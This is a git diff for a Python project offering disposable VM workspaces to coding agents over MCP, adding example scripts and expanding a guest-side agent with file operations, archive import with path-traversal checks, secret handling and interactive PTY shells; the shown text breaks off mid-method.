return { + "type": "function", + "name": str(tool.name), + "description": str(getattr(tool, "description", "") or ""), + "strict": True, + "parameters": dict(tool.inputSchema), + } + + +def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + +async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT_MODEL) -> str: + from openai import OpenAI # type: ignore[import-not-found] + + pyro = Pyro() + server = pyro.create_server() + tools = [_tool_to_openai(tool) for tool in await server.list_tools()] + client = OpenAI() + input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}] + + while True: + response = client.responses.create( + model=model, + input=input_items, + tools=tools, + ) + input_items.extend(response.output) + + tool_calls = [item for item in response.output if item.type == "function_call"] + if not tool_calls: + return str(response.output_text) + + for tool_call in tool_calls: + result = _extract_structured( + await server.call_tool(tool_call.name, json.loads(tool_call.arguments)) + ) + input_items.append( + { + "type": "function_call_output", + "call_id": tool_call.call_id, + "output": json.dumps(result, sort_keys=True), + } + ) + + +def main() -> None: + model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL) + prompt = ( + "Use the workspace-core tools to create a Debian 12 workspace named " + "`chat-fix`, write `app.py` with `print(\"fixed\")`, run it with " + "`python3 app.py`, export the file to `./app.py`, then delete the workspace. " + "Do not use one-shot vm_run for this request." + ) + print(asyncio.run(run_openai_workspace_core_example(prompt=prompt, model=model))) + + +if __name__ == "__main__": + main() diff --git a/examples/opencode_mcp_config.json b/examples/opencode_mcp_config.json new file mode 100644 index 0000000..518dc7d --- /dev/null +++ b/examples/opencode_mcp_config.json @@ -0,0 +1,9 @@ +{ + "mcp": { + "pyro": { + "type": "local", + "enabled": true, + "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] + } + } +} diff --git a/examples/python_lifecycle.py b/examples/python_lifecycle.py index d1737c6..6f6a82a 100644 --- a/examples/python_lifecycle.py +++ b/examples/python_lifecycle.py @@ -11,19 +11,13 @@ def main() -> None: pyro = Pyro() created = pyro.create_vm( environment="debian:12", - vcpu_count=1, - mem_mib=1024, ttl_seconds=600, network=False, ) vm_id = str(created["vm_id"]) - - try: - pyro.start_vm(vm_id) - result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) - print(json.dumps(result, indent=2, sort_keys=True)) - finally: - pyro.delete_vm(vm_id) + pyro.start_vm(vm_id) + result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) + print(json.dumps(result, indent=2, sort_keys=True)) if __name__ == "__main__": diff --git a/examples/python_run.py b/examples/python_run.py index b31f08e..e3040ef 100644 --- a/examples/python_run.py +++ b/examples/python_run.py @@ -12,8 +12,6 @@ def main() -> None: result = pyro.run_in_vm( environment="debian:12", command="git --version", - vcpu_count=1, - mem_mib=1024, timeout_seconds=30, network=False, ) diff --git a/examples/python_shell.py b/examples/python_shell.py new file mode 100644 index 0000000..e30606c --- /dev/null +++ b/examples/python_shell.py @@ -0,0 +1,40 @@ +from __future__ import annotations + +import tempfile +import time +from pathlib import Path + +from pyro_mcp import Pyro + + +def main() -> None: + pyro = Pyro() + with tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir: + Path(seed_dir, "note.txt").write_text("hello from shell\n", encoding="utf-8") + created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir) + workspace_id = str(created["workspace_id"]) + try: + opened = pyro.open_shell(workspace_id) + shell_id = str(opened["shell_id"]) + pyro.write_shell(workspace_id, shell_id, input="pwd") + deadline = time.time() + 5 + while True: + read = pyro.read_shell( + workspace_id, + shell_id, + cursor=0, + plain=True, + wait_for_idle_ms=300, + ) + output = str(read["output"]) + if "/workspace" in output or time.time() >= deadline: + print(output, end="") + break + time.sleep(0.1) + pyro.close_shell(workspace_id, shell_id) + finally: + pyro.delete_workspace(workspace_id) + + +if __name__ == "__main__": + main() diff --git a/examples/python_workspace.py b/examples/python_workspace.py new file mode 100644 index 0000000..d10673f --- /dev/null +++ b/examples/python_workspace.py @@ -0,0 +1,132 @@ +from __future__ import annotations + +import tempfile +from pathlib import Path + +from pyro_mcp import Pyro + + +def main() -> None: + pyro = Pyro() + with ( + tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-") as disk_dir, + tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir, + ): + Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") + Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") + secret_file = Path(secret_dir, "token.txt") + secret_file.write_text("from-file\n", encoding="utf-8") + created = pyro.create_workspace( + environment="debian:12", + seed_path=seed_dir, + name="repro-fix", + labels={"issue": "123"}, + network_policy="egress+published-ports", + secrets=[ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], + ) + workspace_id = str(created["workspace_id"]) + try: + listed = pyro.list_workspaces() + print(f"workspace_count={listed['count']}") + updated = pyro.update_workspace( + workspace_id, + labels={"owner": "codex"}, + ) + print(updated["labels"]["owner"]) + pyro.push_workspace_sync(workspace_id, sync_dir) + files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) + print(f"workspace_entries={len(files['entries'])}") + note = pyro.read_workspace_file(workspace_id, "note.txt") + print(note["content"], end="") + written = pyro.write_workspace_file( + workspace_id, + "src/app.py", + text="print('hello from file ops')\n", + ) + print(f"written_bytes={written['bytes_written']}") + patched = pyro.apply_workspace_patch( + workspace_id, + patch=( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-hello from sync\n" + "+hello from patch\n" + ), + ) + print(f"patch_changed={patched['changed']}") + result = pyro.exec_workspace(workspace_id, command="cat note.txt") + print(result["stdout"], end="") + secret_result = pyro.exec_workspace( + workspace_id, + command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + secret_env={"API_TOKEN": "API_TOKEN"}, + ) + print(secret_result["stdout"], end="") + diff_result = pyro.diff_workspace(workspace_id) + print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}") + snapshot = pyro.create_snapshot(workspace_id, "checkpoint") + print(snapshot["snapshot"]["snapshot_name"]) + exported_path = Path(export_dir, "note.txt") + pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path) + print(exported_path.read_text(encoding="utf-8"), end="") + shell = pyro.open_shell(workspace_id, secret_env={"API_TOKEN": "API_TOKEN"}) + shell_id = str(shell["shell_id"]) + pyro.write_shell( + workspace_id, + shell_id, + input='printf "%s\\n" "$API_TOKEN"', + ) + shell_output = pyro.read_shell( + workspace_id, + shell_id, + cursor=0, + plain=True, + wait_for_idle_ms=300, + ) + print(f"shell_output_len={len(shell_output['output'])}") + pyro.close_shell(workspace_id, shell_id) + pyro.start_service( + workspace_id, + "web", + command="touch .web-ready && while true; do sleep 60; done", + readiness={"type": "file", "path": ".web-ready"}, + secret_env={"API_TOKEN": "API_TOKEN"}, + published_ports=[{"guest_port": 8080}], + ) + services = pyro.list_services(workspace_id) + print(f"services={services['count']} running={services['running_count']}") + service_status = pyro.status_service(workspace_id, "web") + print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}") + print(f"published_ports={service_status['published_ports']}") + service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20) + print(f"service_stdout_len={len(service_logs['stdout'])}") + pyro.stop_service(workspace_id, "web") + stopped = pyro.stop_workspace(workspace_id) + print(f"stopped_state={stopped['state']}") + disk_listing = pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=True) + print(f"disk_entries={len(disk_listing['entries'])}") + disk_read = pyro.read_workspace_disk(workspace_id, "note.txt") + print(disk_read["content"], end="") + disk_image = Path(disk_dir, "workspace.ext4") + pyro.export_workspace_disk(workspace_id, output_path=disk_image) + print(f"disk_bytes={disk_image.stat().st_size}") + started = pyro.start_workspace(workspace_id) + print(f"started_state={started['state']}") + reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") + print(f"reset_count={reset['reset_count']}") + print(f"secret_count={len(reset['secrets'])}") + logs = pyro.logs_workspace(workspace_id) + print(f"workspace_id={workspace_id} command_count={logs['count']}") + finally: + pyro.delete_workspace(workspace_id) + + +if __name__ == "__main__": + main() diff --git a/pyproject.toml b/pyproject.toml index 9603e0d..5e9b649 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,7 +1,7 @@ [project] name = "pyro-mcp" -version = "1.0.0" -description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." +version = "4.5.0" +description = "Disposable MCP workspaces for chat-based coding agents on Linux KVM." readme = "README.md" license = { file = "LICENSE" } authors = [ @@ -9,7 +9,7 @@ authors = [ ] requires-python = ">=3.12" classifiers = [ - "Development Status :: 5 - Production/Stable", + "Development Status :: 4 - Beta", "Environment :: Console", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", @@ -27,6 +27,7 @@ dependencies = [ Homepage = "https://git.thaloco.com/thaloco/pyro-mcp" Repository = "https://git.thaloco.com/thaloco/pyro-mcp" Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues" +PyPI = "https://pypi.org/project/pyro-mcp/" [project.scripts] pyro = "pyro_mcp.cli:main" @@ -66,6 +67,7 @@ dev = [ "pre-commit>=4.5.1", "pytest>=9.0.2", "pytest-cov>=7.0.0", + "pytest-xdist>=3.8.0", "ruff>=0.15.4", ] diff --git a/runtime_sources/README.md b/runtime_sources/README.md index 0c7fccb..5184c0e 100644 --- a/runtime_sources/README.md +++ b/runtime_sources/README.md @@ -18,14 +18,13 @@ Materialization workflow: Official environment publication workflow: 1. `make runtime-materialize` 2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci` -3. or run the repo workflow at `.github/workflows/publish-environments.yml` with Docker Hub credentials -4. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS` +3. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS` Official end-user pulls are anonymous; registry credentials are only required for publishing. Build requirements for the real path: - `docker` -- outbound network access to GitHub and Debian snapshot mirrors +- outbound network access to the pinned upstream release hosts and Debian snapshot mirrors - enough disk for a kernel build plus 2G ext4 images per source profile Kernel build note: @@ -35,7 +34,7 @@ Kernel build note: Current status: 1. Firecracker and Jailer are materialized from pinned official release artifacts. 2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`. -3. The guest agent is installed into each rootfs and used for vsock exec. +3. The guest agent is installed into each rootfs and used for vsock exec plus workspace archive imports. 4. `runtime.lock.json` now advertises real guest capabilities. Safety rule: diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index ea9c2cf..a469d7b 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -1,26 +1,70 @@ #!/usr/bin/env python3 -"""Minimal guest-side exec agent for pyro runtime bundles.""" +"""Guest-side exec, workspace import, and interactive shell agent.""" from __future__ import annotations +import base64 +import codecs +import fcntl +import io import json +import os +import re +import shlex +import shutil +import signal import socket +import struct import subprocess +import tarfile +import tempfile +import termios +import threading import time +import urllib.error +import urllib.request +from pathlib import Path, PurePosixPath from typing import Any PORT = 5005 BUFFER_SIZE = 65536 +WORKSPACE_ROOT = PurePosixPath("/workspace") +SHELL_ROOT = Path("/run/pyro-shells") +SERVICE_ROOT = Path("/run/pyro-services") +SECRET_ROOT = Path("/run/pyro-secrets") +WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 +SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") +SHELL_SIGNAL_MAP = { + "HUP": signal.SIGHUP, + "INT": signal.SIGINT, + "TERM": signal.SIGTERM, + "KILL": signal.SIGKILL, +} +SHELL_SIGNAL_NAMES = tuple(SHELL_SIGNAL_MAP) + +_SHELLS: dict[str, "GuestShellSession"] = {} +_SHELLS_LOCK = threading.Lock() + + +def _redact_text(text: str, redact_values: list[str]) -> str: + redacted = text + for secret_value in sorted( + {item for item in redact_values if item != ""}, + key=len, + reverse=True, + ): + redacted = redacted.replace(secret_value, "[REDACTED]") + return redacted def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: - data = conn.recv(BUFFER_SIZE) + data = conn.recv(1) if data == b"": break chunks.append(data) - if b"\n" in data: + if data == b"\n": break payload = json.loads(b"".join(chunks).decode("utf-8").strip()) if not isinstance(payload, dict): @@ -28,13 +72,427 @@ def _read_request(conn: socket.socket) -> dict[str, Any]: return payload -def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: +def _read_exact(conn: socket.socket, size: int) -> bytes: + remaining = size + chunks: list[bytes] = [] + while remaining > 0: + data = conn.recv(min(BUFFER_SIZE, remaining)) + if data == b"": + raise RuntimeError("unexpected EOF while reading archive payload") + chunks.append(data) + remaining -= len(data) + return b"".join(chunks) + + +def _normalize_member_name(name: str) -> PurePosixPath: + candidate = name.strip() + if candidate == "": + raise RuntimeError("archive member path is empty") + member_path = PurePosixPath(candidate) + if member_path.is_absolute(): + raise RuntimeError(f"absolute archive member paths are not allowed: {name}") + parts = [part for part in member_path.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"unsafe archive member path: {name}") + normalized = PurePosixPath(*parts) + if str(normalized) in {"", "."}: + raise RuntimeError(f"unsafe archive member path: {name}") + return normalized + + +def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: + candidate = destination.strip() + if candidate == "": + raise RuntimeError("destination must not be empty") + destination_path = PurePosixPath(candidate) + if not destination_path.is_absolute(): + destination_path = WORKSPACE_ROOT / destination_path + parts = [part for part in destination_path.parts if part not in {"", "."}] + normalized = PurePosixPath("/") / PurePosixPath(*parts) + if normalized == PurePosixPath("/"): + raise RuntimeError("destination must stay inside /workspace") + if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: + raise RuntimeError("destination must stay inside /workspace") + suffix = normalized.relative_to(WORKSPACE_ROOT) + host_path = Path("/workspace") + if str(suffix) not in {"", "."}: + host_path = host_path.joinpath(*suffix.parts) + return normalized, host_path + + +def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: + normalized, host_path = _normalize_destination(cwd) + return str(normalized), host_path + + +def _normalize_service_name(service_name: str) -> str: + normalized = service_name.strip() + if normalized == "": + raise RuntimeError("service_name is required") + if SERVICE_NAME_RE.fullmatch(normalized) is None: + raise RuntimeError("service_name is invalid") + return normalized + + +def _service_stdout_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stdout" + + +def _service_stderr_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.stderr" + + +def _service_status_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.status" + + +def _service_runner_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.runner.sh" + + +def _service_metadata_path(service_name: str) -> Path: + return SERVICE_ROOT / f"{service_name}.json" + + +def _normalize_secret_name(secret_name: str) -> str: + normalized = secret_name.strip() + if normalized == "": + raise RuntimeError("secret name is required") + if re.fullmatch(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$", normalized) is None: + raise RuntimeError("secret name is invalid") + return normalized + + +def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: + target = link_target.strip() + if target == "": + raise RuntimeError(f"symlink {member_path} has an empty target") + target_path = PurePosixPath(target) + if target_path.is_absolute(): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + combined = member_path.parent.joinpath(target_path) + parts = [part for part in combined.parts if part not in {"", "."}] + if any(part == ".." for part in parts): + raise RuntimeError(f"symlink {member_path} escapes the workspace") + + +def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"archive member would traverse through a symlinked path: {member_name}" + ) + + +def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: + normalized_destination, destination_root = _normalize_destination(destination) + destination_root.mkdir(parents=True, exist_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = destination_root.joinpath(*member_name.parts) + entry_count += 1 + _ensure_no_symlink_parents(destination_root, target_path, member.name) + if member.isdir(): + if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): + raise RuntimeError(f"directory conflicts with existing path: {member.name}") + target_path.mkdir(parents=True, exist_ok=True) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and (target_path.is_dir() or target_path.is_symlink()): + raise RuntimeError(f"file conflicts with existing path: {member.name}") + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + bytes_written += member.size + continue + if member.issym(): + _validate_symlink_target(member_name, member.linkname) + target_path.parent.mkdir(parents=True, exist_ok=True) + if target_path.exists() and not target_path.is_symlink(): + raise RuntimeError(f"symlink conflicts with existing path: {member.name}") + if target_path.is_symlink(): + target_path.unlink() + os.symlink(member.linkname, target_path) + continue + if member.islnk(): + raise RuntimeError( + f"hard links are not allowed in workspace archives: {member.name}" + ) + raise RuntimeError(f"unsupported archive member type: {member.name}") + return { + "destination": str(normalized_destination), + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _install_secrets_archive(payload: bytes) -> dict[str, Any]: + SECRET_ROOT.mkdir(parents=True, exist_ok=True) + for existing in SECRET_ROOT.iterdir(): + if existing.is_dir() and not existing.is_symlink(): + shutil.rmtree(existing, ignore_errors=True) + else: + existing.unlink(missing_ok=True) + bytes_written = 0 + entry_count = 0 + with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: + for member in archive.getmembers(): + member_name = _normalize_member_name(member.name) + target_path = SECRET_ROOT.joinpath(*member_name.parts) + entry_count += 1 + if member.isdir(): + target_path.mkdir(parents=True, exist_ok=True) + target_path.chmod(0o700) + continue + if member.isfile(): + target_path.parent.mkdir(parents=True, exist_ok=True) + target_path.parent.chmod(0o700) + source = archive.extractfile(member) + if source is None: + raise RuntimeError(f"failed to read secret archive member: {member.name}") + with target_path.open("wb") as handle: + while True: + chunk = source.read(BUFFER_SIZE) + if chunk == b"": + break + handle.write(chunk) + target_path.chmod(0o600) + bytes_written += member.size + continue + if member.issym() or member.islnk(): + raise RuntimeError(f"secret archive may not contain links: {member.name}") + raise RuntimeError(f"unsupported secret archive member type: {member.name}") + return { + "destination": str(SECRET_ROOT), + "entry_count": entry_count, + "bytes_written": bytes_written, + } + + +def _inspect_archive(archive_path: Path) -> tuple[int, int]: + entry_count = 0 + bytes_written = 0 + with tarfile.open(archive_path, "r:*") as archive: + for member in archive.getmembers(): + entry_count += 1 + if member.isfile(): + bytes_written += member.size + return entry_count, bytes_written + + +def _prepare_export_archive(path: str) -> dict[str, Any]: + normalized_path, source_path = _normalize_destination(path) + if not source_path.exists() and not source_path.is_symlink(): + raise RuntimeError(f"workspace path does not exist: {normalized_path}") + if source_path.is_symlink(): + artifact_type = "symlink" + elif source_path.is_file(): + artifact_type = "file" + elif source_path.is_dir(): + artifact_type = "directory" + else: + raise RuntimeError(f"unsupported workspace path type: {normalized_path}") + + with tempfile.NamedTemporaryFile(prefix="pyro-export-", suffix=".tar", delete=False) as handle: + archive_path = Path(handle.name) + try: + with tarfile.open(archive_path, "w") as archive: + archive.dereference = False + if artifact_type == "directory": + for child in sorted(source_path.iterdir(), key=lambda item: item.name): + archive.add(child, arcname=child.name, recursive=True) + else: + archive.add(source_path, arcname=source_path.name, recursive=False) + entry_count, bytes_written = _inspect_archive(archive_path) + return { + "workspace_path": str(normalized_path), + "artifact_type": artifact_type, + "archive_path": archive_path, + "archive_size": archive_path.stat().st_size, + "entry_count": entry_count, + "bytes_written": bytes_written, + } + except Exception: + archive_path.unlink(missing_ok=True) + raise + + +def _workspace_entry(path_text: str, host_path: Path) -> dict[str, Any]: + try: + stat_result = os.lstat(host_path) + except FileNotFoundError as exc: + raise RuntimeError(f"workspace path does not exist: {path_text}") from exc + if host_path.is_symlink(): + return { + "path": path_text, + "artifact_type": "symlink", + "size_bytes": stat_result.st_size, + "link_target": os.readlink(host_path), + } + if host_path.is_dir(): + return { + "path": path_text, + "artifact_type": "directory", + "size_bytes": 0, + "link_target": None, + } + if host_path.is_file(): + return { + "path": path_text, + "artifact_type": "file", + "size_bytes": stat_result.st_size, + "link_target": None, + } + raise RuntimeError(f"unsupported workspace path type: {path_text}") + + +def _join_workspace_path(base: str, child_name: str) -> str: + base_path = PurePosixPath(base) + return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" + + +def _list_workspace(path: str, *, recursive: bool) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "directory": + return { + "path": str(normalized_path), + "artifact_type": entry["artifact_type"], + "entries": [entry], + } + entries: list[dict[str, Any]] = [] + + def walk(current_path: str, current_host_path: Path) -> None: + children: list[tuple[dict[str, Any], Path]] = [] + with os.scandir(current_host_path) as iterator: + for child in iterator: + child_host_path = Path(child.path) + children.append( + ( + _workspace_entry( + _join_workspace_path(current_path, child.name), + child_host_path, + ), + child_host_path, + ) + ) + children.sort(key=lambda item: str(item[0]["path"])) + for child_entry, child_host_path in children: + entries.append(child_entry) + if recursive and child_entry["artifact_type"] == "directory": + walk(str(child_entry["path"]), child_host_path) + + walk(str(normalized_path), host_path) + return { + "path": str(normalized_path), + "artifact_type": "directory", + "entries": entries, + } + + +def _read_workspace_file(path: str, *, max_bytes: int) -> dict[str, Any]: + if max_bytes <= 0: + raise RuntimeError("max_bytes must be positive") + if max_bytes > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" + ) + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file read only supports regular files") + raw_bytes = host_path.read_bytes() + if len(raw_bytes) > max_bytes: + raise RuntimeError( + f"workspace file exceeds the maximum supported size of {max_bytes} bytes" + ) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "content_b64": base64.b64encode(raw_bytes).decode("ascii"), + } + + +def _ensure_no_symlink_parents_for_write(root: Path, target_path: Path, path_text: str) -> None: + relative_path = target_path.relative_to(root) + current = root + for part in relative_path.parts[:-1]: + current = current / part + if current.is_symlink(): + raise RuntimeError( + f"workspace path would traverse through a symlinked parent: {path_text}" + ) + + +def _write_workspace_file(path: str, *, text: str) -> dict[str, Any]: + raw_bytes = text.encode("utf-8") + if len(raw_bytes) > WORKSPACE_FILE_MAX_BYTES: + raise RuntimeError( + f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" + ) + normalized_path, host_path = _normalize_destination(path) + _ensure_no_symlink_parents_for_write(Path("/workspace"), host_path, str(normalized_path)) + if host_path.exists() or host_path.is_symlink(): + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] != "file": + raise RuntimeError("workspace file write only supports regular file targets") + host_path.parent.mkdir(parents=True, exist_ok=True) + with tempfile.NamedTemporaryFile( + prefix=".pyro-workspace-write-", + dir=host_path.parent, + delete=False, + ) as handle: + temp_path = Path(handle.name) + handle.write(raw_bytes) + os.replace(temp_path, host_path) + return { + "path": str(normalized_path), + "size_bytes": len(raw_bytes), + "bytes_written": len(raw_bytes), + } + + +def _delete_workspace_path(path: str) -> dict[str, Any]: + normalized_path, host_path = _normalize_destination(path) + entry = _workspace_entry(str(normalized_path), host_path) + if entry["artifact_type"] == "directory": + raise RuntimeError("workspace file delete does not support directories") + host_path.unlink(missing_ok=False) + return { + "path": str(normalized_path), + "deleted": True, + } + + +def _run_command( + command: str, + timeout_seconds: int, + *, + env: dict[str, str] | None = None, +) -> dict[str, Any]: started = time.monotonic() + command_env = os.environ.copy() + if env is not None: + command_env.update(env) try: proc = subprocess.run( ["/bin/sh", "-lc", command], text=True, capture_output=True, + env=command_env, timeout=timeout_seconds, check=False, ) @@ -53,7 +511,701 @@ def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: } +def _set_pty_size(fd: int, rows: int, cols: int) -> None: + winsize = struct.pack("HHHH", rows, cols, 0, 0) + fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) + + +def _shell_argv(*, interactive: bool) -> list[str]: + shell_program = shutil.which("bash") or "/bin/sh" + argv = [shell_program] + if shell_program.endswith("bash"): + argv.extend(["--noprofile", "--norc"]) + if interactive: + argv.append("-i") + return argv + + +class GuestShellSession: + """In-guest PTY-backed interactive shell session.""" + + def __init__( + self, + *, + shell_id: str, + cwd: Path, + cwd_text: str, + cols: int, + rows: int, + env_overrides: dict[str, str] | None = None, + redact_values: list[str] | None = None, + ) -> None: + self.shell_id = shell_id + self.cwd = cwd_text + self.cols = cols + self.rows = rows + self.started_at = time.time() + self.ended_at: float | None = None + self.exit_code: int | None = None + self.state = "running" + self._lock = threading.RLock() + self._output = "" + self._decoder = codecs.getincrementaldecoder("utf-8")("replace") + self._redact_values = list(redact_values or []) + self._metadata_path = SHELL_ROOT / f"{shell_id}.json" + self._log_path = SHELL_ROOT / f"{shell_id}.log" + self._master_fd: int | None = None + + master_fd, slave_fd = os.openpty() + try: + _set_pty_size(slave_fd, rows, cols) + env = os.environ.copy() + env.update( + { + "TERM": env.get("TERM", "xterm-256color"), + "PS1": "pyro$ ", + "PROMPT_COMMAND": "", + } + ) + if env_overrides is not None: + env.update(env_overrides) + process = subprocess.Popen( # noqa: S603 + _shell_argv(interactive=True), + stdin=slave_fd, + stdout=slave_fd, + stderr=slave_fd, + cwd=str(cwd), + env=env, + text=False, + close_fds=True, + preexec_fn=os.setsid, + ) + except Exception: + os.close(master_fd) + raise + finally: + os.close(slave_fd) + + self._process = process + self._master_fd = master_fd + self._write_metadata() + self._reader = threading.Thread(target=self._reader_loop, daemon=True) + self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) + self._reader.start() + self._waiter.start() + + def summary(self) -> dict[str, Any]: + with self._lock: + return { + "shell_id": self.shell_id, + "cwd": self.cwd, + "cols": self.cols, + "rows": self.rows, + "state": self.state, + "started_at": self.started_at, + "ended_at": self.ended_at, + "exit_code": self.exit_code, + } + + def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: + with self._lock: + redacted_output = _redact_text(self._output, self._redact_values) + clamped_cursor = min(max(cursor, 0), len(redacted_output)) + output = redacted_output[clamped_cursor : clamped_cursor + max_chars] + next_cursor = clamped_cursor + len(output) + payload = self.summary() + payload.update( + { + "cursor": clamped_cursor, + "next_cursor": next_cursor, + "output": output, + "truncated": next_cursor < len(redacted_output), + } + ) + return payload + + def write(self, text: str, *, append_newline: bool) -> dict[str, Any]: + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + master_fd = self._master_fd + if master_fd is None: + raise RuntimeError(f"shell {self.shell_id} transport is unavailable") + payload = text + ("\n" if append_newline else "") + try: + os.write(master_fd, payload.encode("utf-8")) + except OSError as exc: + self._refresh_process_state() + raise RuntimeError(f"failed to write shell input: {exc}") from exc + response = self.summary() + response.update({"input_length": len(text), "append_newline": append_newline}) + return response + + def send_signal(self, signal_name: str) -> dict[str, Any]: + signum = SHELL_SIGNAL_MAP.get(signal_name) + if signum is None: + raise ValueError(f"unsupported shell signal: {signal_name}") + if self._process.poll() is not None: + self._refresh_process_state() + with self._lock: + if self.state != "running": + raise RuntimeError(f"shell {self.shell_id} is not running") + pid = self._process.pid + try: + os.killpg(pid, signum) + except ProcessLookupError as exc: + self._refresh_process_state() + raise RuntimeError(f"shell {self.shell_id} is not running") from exc + response = self.summary() + response["signal"] = signal_name + return response + + def close(self) -> dict[str, Any]: + if self._process.poll() is None: + try: + os.killpg(self._process.pid, signal.SIGHUP) + except ProcessLookupError: + pass + try: + self._process.wait(timeout=5) + except subprocess.TimeoutExpired: + try: + os.killpg(self._process.pid, signal.SIGKILL) + except ProcessLookupError: + pass + self._process.wait(timeout=5) + else: + self._refresh_process_state() + self._close_master_fd() + if self._reader is not None: + self._reader.join(timeout=1) + if self._waiter is not None: + self._waiter.join(timeout=1) + response = self.summary() + response["closed"] = True + return response + + def _reader_loop(self) -> None: + master_fd = self._master_fd + if master_fd is None: + return + while True: + try: + chunk = os.read(master_fd, BUFFER_SIZE) + except OSError: + break + if chunk == b"": + break + decoded = self._decoder.decode(chunk) + if decoded == "": + continue + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + decoded = self._decoder.decode(b"", final=True) + if decoded != "": + with self._lock: + self._output += decoded + with self._log_path.open("a", encoding="utf-8") as handle: + handle.write(decoded) + + def 